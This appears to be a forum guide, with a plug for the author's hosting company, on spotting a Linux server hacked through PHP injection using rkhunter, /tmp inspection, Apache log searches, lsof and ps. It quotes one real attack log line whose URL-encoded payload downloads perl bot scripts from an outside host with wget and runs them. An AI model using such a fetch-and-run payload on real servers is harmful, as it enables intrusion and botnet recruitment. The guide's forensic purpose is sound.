This guide is not meant to be all inclusive for figuring out if a server is hacked however it should give you a pretty good idea if a server is hacked the method used. This guide is going to focus on getting hacked via a php injection attack which is the most common today. There are certainly others but chances are if the server has been compromised by a script kiddie you will be able to find it via this guide. As long as the server has not been rooted it is generally possible to clean up and find all of the tools and scripts that were put on the server. Once a server has been rooted it is impossible to determine without a doubt that you have cleared everything out and what can or cannot be trusted. Once a server has been rooted for sure the server should be reformated/reimaged before it is put back into production. If you are ever unsure of where to go next or woud like to hire somebody to take care of this please take a look
TotalServerSolutionswhich is a company that I run and work for is very familiar with handling these types of problems and preventing them from happening. . Of course if you have had the server hacked once you need to make sure and secure it so that it does not get hacked as soon as it is put online again.
The first step is to look at rkhunter and see if it reports anything that is bad. If rkhunter reports that the server has been rooted it is probably going to best to reimage the server once the method of intrusion has been determined.
Download and unzip rkhunter
—–command—–
cd /usr/local/src/
wget http://downloads.rootkit.nl/rkhunter-1.2.1.tar.gz
tar -zxf rkhunter-1.2.1.tar.gz
cd rkhunter
—–command—–
Install and run it
—–command—–
./installer.sh
rkhunter -c
—–command—–
If you are unsure of the output either look on google or you can post it here and I can try to help.
If that does not turn up anything and you are still having issues with the server sending out a DOS attack, hosting a botnet, or some other “bad” activity the next thing to check into how apache may have been used to exploit the server. This part is going to be hard for many that are not experienced with server administration because you have to be aware of what is normal and what is not. The directories that I am going to reference will have legitimate files but may also contain the scripts used to hacked or send out an attack.
Go ahead and look in /tmp first and delete the uneeded files that are normal
cd /tmp
rm -rf sess*
rm -rf ssh-*
rm -rf dos-*
ls -alh
On a normal basis the files are fine, the files are only being deleted now to aid in determining what is a legitmate file. The files that are going to be of interest are anything that are bold or green because that means that they can be executed. Typically the hacked files are going to have names that use numbers in the names, end in .pl (perl files), or simply look different from everything else in /tmp. It is impossible to make a list of everything, this is going to be where experience counts as to determining if something is in fact a “bad” file. If youare unsure of the file head over to google and search the name. If it is infact some sort of a rootkit or script you will probably find references to it and what it does.
Another thing to look at is who the file is owned by. If a file is owned by the user and group nobody it was probably created by apache. These files are going to be of particular interest during an investigation.
Make sure to look at the very top for a directory named …, .tmp, or anything with a period at the begining as that means it is a hidden file, something that normally would not be in tmp. If you find nothing in /tmp also check /var/tmp and /dev/shm. These directories are where most scripts are stored but it does not mean it is the only place they may be! It might require some more investigation as to what is happening if you are unable to determine what happened from the above.
Once you find the file you can start the investigation as to what went wrong. The best bet is going to be to look in /usr/local/apache/logs and /usr/local/apache/domlogs and to use the egrep command to search the files. For instance if you have the scriptr r0nin in /tmp you will want to go ahead and check how exactly it got in.
egrep r0nin *
Chances are you are going to see something like this:
Request: XXXXXXXXX – - [30/Apr/2005:10:41:20 -0400
] “GET /index.php?t=5704&rush=%65%63%68%6F%20
%5F%53%54%41%52%54%5F%3B%20cd%%2020/tmp;
mkdir%20.temp22;cd%20.temp22;wget%20http://www.xxx-
aane.com/pics/bot.htm;wget%20http://xxx.com/.notes/ssh2.h
tm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.h%20tm;
rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%
4E%44%5%20F&highlight=%2527.%70%61%73%73
%74%68%72%75%28%24%48%%2054%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%
68%20%5D%29.%2527?; HTTP/1.1? 403 219
(I have XXX’ed out some information)
If you do in fact find something like the above, there are many variations so it will not look exactly like that, then you were probably hacked via a mysql injection. To further prove that this is the case you can look at the timestamp on the file and the timestamp in the logs.
One nice tool to use to look into what else might be hacked is the command lsof. This command will let you see all files are are currently being accessed by a given user. First stop apache then run lsof to see what files it is using, the reason it must first be stopped is that if you do not there will be a huge list of libs and other files listed.
service httpd stop
lsof -u nobody
Looking at the lsoof output you may be able to find some other directories that are being used. Again here is something where looking at the naming will help, if some directory looks out of place take a look at it and you may be able to find something.
If that fails you can also use the ps command to try and find the offending process and track it down. Use
ps -aux
To look at everything that is running. Most times it is going to be hard pretty hard to just look at everything if you are not very familiar with what is going on and spot the offending process. I would go ahead and start out looking for only perl scripts since they are popular right now:
ps -aux |grep perl
If you do find something go ahead and search the drive for the file then open it with pico, you should be able to look at the commenting in the code to find out what sort of things it is capable of. Luckily most of the script kiddies have a section at the top that describes the file and what it does.
find / |grep somesript.pl
then edit it via:
pico -w /location/of/script.pl
Hopefully this guide will help you out in determining if a server has been hacked and a very basic way to analzye it. Generally doing what I posted above should help you find at least one of the offending processes if a server was in fact hacked. I am going to try to slowly add more information to this guide so if you have any suggestions please feel free to post them below. I am always very open to new ideas on how to do things or different ways of looking at something. If after you have followed this guide and you are unsure of what to do next consider hiring the company that I run,
TotalServerSolutions, we are very familiar with locating and helping clean up after an attack. We can also secure your server to stop the server from even being hacked in the first place.
